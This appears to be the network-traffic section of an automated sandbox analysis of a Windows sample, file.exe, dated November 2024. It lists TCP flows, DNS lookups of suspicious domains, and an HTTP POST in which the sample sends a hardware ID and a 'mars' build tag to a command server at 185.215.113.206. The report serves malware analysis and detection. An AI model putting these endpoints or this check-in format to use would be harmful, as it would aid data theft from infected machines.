Nov 19, 2024 18:02:09.038858891 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038862944 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038876057 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038885117 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038893938 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038898945 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038913012 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038921118 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038929939 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038945913 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.076715946 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.076797962 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.076844931 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.076862097 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.076890945 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.076915979 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.077169895 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.077187061 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.077202082 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.077215910 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.077224970 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.077234030 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.077244997 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.077248096 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.077264071 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.077274084 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.077286959 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.077316999 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.077325106 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.077341080 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.077356100 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.077366114 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.077387094 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.077398062 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.077812910 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.077864885 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.077976942 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.077992916 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.078006983 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.078021049 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.078036070 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.078056097 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.078299999 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.078315973 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.078344107 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.078358889 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.078454018 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.078470945 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.078485012 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.078497887 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.078500986 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.078519106 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.078535080 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.083578110 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.083595991 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.083611012 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.083631992 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.083653927 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.083725929 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.083743095 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.083758116 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.083771944 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.083772898 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.083789110 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.083802938 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.083823919 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.083848000 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.124397039 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124416113 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124430895 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124445915 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124459982 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124481916 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124511957 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124527931 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124541998 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124557018 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124571085 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124584913 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124598026 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124613047 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124649048 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124650002 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.124650002 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.124650002 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.124650002 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.124665976 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124676943 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.124680996 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124685049 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.124713898 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.124737978 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124754906 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124768972 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124784946 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124790907 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.124802113 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.124816895 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.124854088 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.125060081 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125108957 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.125473022 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125488043 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125503063 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125516891 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125530958 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125530958 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.125545979 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125560045 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.125562906 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125583887 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.125597954 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.125633955 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125648022 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125660896 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125674963 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125677109 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.125689983 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125693083 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.125705957 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125724077 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.125751019 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.125942945 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125957966 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.125988007 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126008987 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126096964 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126111984 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126126051 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126137018 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126140118 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126147985 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126156092 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126168013 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126171112 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126188040 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126194000 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126218081 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126218081 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126226902 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126233101 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126256943 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126271009 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126271009 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126290083 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126295090 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126306057 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126310110 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126329899 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126343966 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.126414061 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.126429081 CET	80	62704	31.41.244.11	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 19, 2024 18:00:25.526791096 CET	192.168.2.8	1.1.1.1	0x506	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:25.526932955 CET	192.168.2.8	1.1.1.1	0xf082	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 19, 2024 18:00:28.765511990 CET	192.168.2.8	1.1.1.1	0x7037	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:28.765717983 CET	192.168.2.8	1.1.1.1	0xb952	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 19, 2024 18:00:29.773492098 CET	192.168.2.8	1.1.1.1	0xb35b	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:29.773624897 CET	192.168.2.8	1.1.1.1	0xd034	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 19, 2024 18:00:37.432589054 CET	192.168.2.8	1.1.1.1	0xf7e0	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:37.432816029 CET	192.168.2.8	1.1.1.1	0xbeef	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 19, 2024 18:00:38.388575077 CET	192.168.2.8	1.1.1.1	0xf303	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:38.388871908 CET	192.168.2.8	1.1.1.1	0xb709	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 19, 2024 18:00:38.992327929 CET	192.168.2.8	1.1.1.1	0x800a	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:38.992662907 CET	192.168.2.8	1.1.1.1	0xdb37	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 19, 2024 18:00:39.618860006 CET	192.168.2.8	1.1.1.1	0xe884	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:39.619136095 CET	192.168.2.8	1.1.1.1	0xbd80	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 19, 2024 18:00:39.631769896 CET	192.168.2.8	1.1.1.1	0x484b	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:39.631973982 CET	192.168.2.8	1.1.1.1	0x9dee	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 19, 2024 18:00:39.647315979 CET	192.168.2.8	1.1.1.1	0x2ab2	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:39.647456884 CET	192.168.2.8	1.1.1.1	0xaa0d	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 19, 2024 18:00:39.652767897 CET	192.168.2.8	1.1.1.1	0x2fd9	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:39.652909994 CET	192.168.2.8	1.1.1.1	0xad	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 19, 2024 18:00:41.101501942 CET	192.168.2.8	1.1.1.1	0xab91	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:41.101713896 CET	192.168.2.8	1.1.1.1	0xa2d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 18:00:41.102416039 CET	192.168.2.8	1.1.1.1	0x7b73	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:41.103149891 CET	192.168.2.8	1.1.1.1	0x3492	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 18:00:41.140259981 CET	192.168.2.8	1.1.1.1	0x92ff	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:41.140460014 CET	192.168.2.8	1.1.1.1	0x4c0b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 18:00:50.090715885 CET	192.168.2.8	1.1.1.1	0x154e	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 19, 2024 18:00:51.762187004 CET	192.168.2.8	1.1.1.1	0xe77	Standard query (0)	197.87.175.4.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 19, 2024 18:01:45.313519955 CET	192.168.2.8	1.1.1.1	0xf1ff	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:02:15.022212029 CET	192.168.2.8	1.1.1.1	0xa157	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:02:15.022339106 CET	192.168.2.8	1.1.1.1	0xc80b	Standard query (0)	home.fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 18:02:19.936326027 CET	192.168.2.8	1.1.1.1	0x3bb8	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 19, 2024 18:00:25.533704996 CET	1.1.1.1	192.168.2.8	0xf082	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 19, 2024 18:00:25.533843994 CET	1.1.1.1	192.168.2.8	0x506	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:28.772464991 CET	1.1.1.1	192.168.2.8	0x7037	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:28.772464991 CET	1.1.1.1	192.168.2.8	0x7037	No error (0)	plus.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:28.773386002 CET	1.1.1.1	192.168.2.8	0xb952	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:29.780191898 CET	1.1.1.1	192.168.2.8	0xb35b	No error (0)	play.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:37.439307928 CET	1.1.1.1	192.168.2.8	0xf7e0	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:37.439748049 CET	1.1.1.1	192.168.2.8	0xbeef	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:37.504095078 CET	1.1.1.1	192.168.2.8	0x7889	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:37.504235983 CET	1.1.1.1	192.168.2.8	0x6882	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:37.504235983 CET	1.1.1.1	192.168.2.8	0x6882	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:38.395395041 CET	1.1.1.1	192.168.2.8	0xf303	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:38.396212101 CET	1.1.1.1	192.168.2.8	0xb709	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:39.113446951 CET	1.1.1.1	192.168.2.8	0x800a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:39.113446951 CET	1.1.1.1	192.168.2.8	0x800a	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.65	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:39.114619017 CET	1.1.1.1	192.168.2.8	0xdb37	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:39.625592947 CET	1.1.1.1	192.168.2.8	0xe884	No error (0)	sb.scorecardresearch.com		13.32.99.21	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:39.625592947 CET	1.1.1.1	192.168.2.8	0xe884	No error (0)	sb.scorecardresearch.com		13.32.99.105	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:39.625592947 CET	1.1.1.1	192.168.2.8	0xe884	No error (0)	sb.scorecardresearch.com		13.32.99.90	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:39.625592947 CET	1.1.1.1	192.168.2.8	0xe884	No error (0)	sb.scorecardresearch.com		13.32.99.23	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:39.638431072 CET	1.1.1.1	192.168.2.8	0x484b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:39.638833046 CET	1.1.1.1	192.168.2.8	0x9dee	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:39.654006958 CET	1.1.1.1	192.168.2.8	0xaa0d	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:39.654212952 CET	1.1.1.1	192.168.2.8	0x2ab2	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:39.660037994 CET	1.1.1.1	192.168.2.8	0x2fd9	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:39.660501957 CET	1.1.1.1	192.168.2.8	0xad	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:40.601264000 CET	1.1.1.1	192.168.2.8	0x432f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:40.601902962 CET	1.1.1.1	192.168.2.8	0x4e90	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:40.601902962 CET	1.1.1.1	192.168.2.8	0x4e90	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:41.108346939 CET	1.1.1.1	192.168.2.8	0xab91	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:41.108346939 CET	1.1.1.1	192.168.2.8	0xab91	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:41.108556986 CET	1.1.1.1	192.168.2.8	0xa2d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 19, 2024 18:00:41.109323025 CET	1.1.1.1	192.168.2.8	0x7b73	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:41.109323025 CET	1.1.1.1	192.168.2.8	0x7b73	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:41.109720945 CET	1.1.1.1	192.168.2.8	0x3492	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 19, 2024 18:00:41.147061110 CET	1.1.1.1	192.168.2.8	0x92ff	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:41.147061110 CET	1.1.1.1	192.168.2.8	0x92ff	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:00:41.147747040 CET	1.1.1.1	192.168.2.8	0x4c0b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 19, 2024 18:00:41.614602089 CET	1.1.1.1	192.168.2.8	0xa8a5	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:00:50.098167896 CET	1.1.1.1	192.168.2.8	0x154e	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 19, 2024 18:00:51.769741058 CET	1.1.1.1	192.168.2.8	0xe77	Name error (3)	197.87.175.4.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 19, 2024 18:01:45.321147919 CET	1.1.1.1	192.168.2.8	0xf1ff	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 18:02:15.540612936 CET	1.1.1.1	192.168.2.8	0xa157	No error (0)	home.fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:02:20.110590935 CET	1.1.1.1	192.168.2.8	0x3bb8	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:02:20.110590935 CET	1.1.1.1	192.168.2.8	0x3bb8	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	185.215.113.206	80	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 18:00:19.564847946 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 18:00:20.287345886 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 18:00:20.358999968 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 43 39 43 46 37 41 32 32 45 44 31 32 35 33 31 33 31 38 31 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="hwid"FDC9CF7A22ED1253131813------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="build"mars------GCAKKECAEGDGCBFIJEGH--
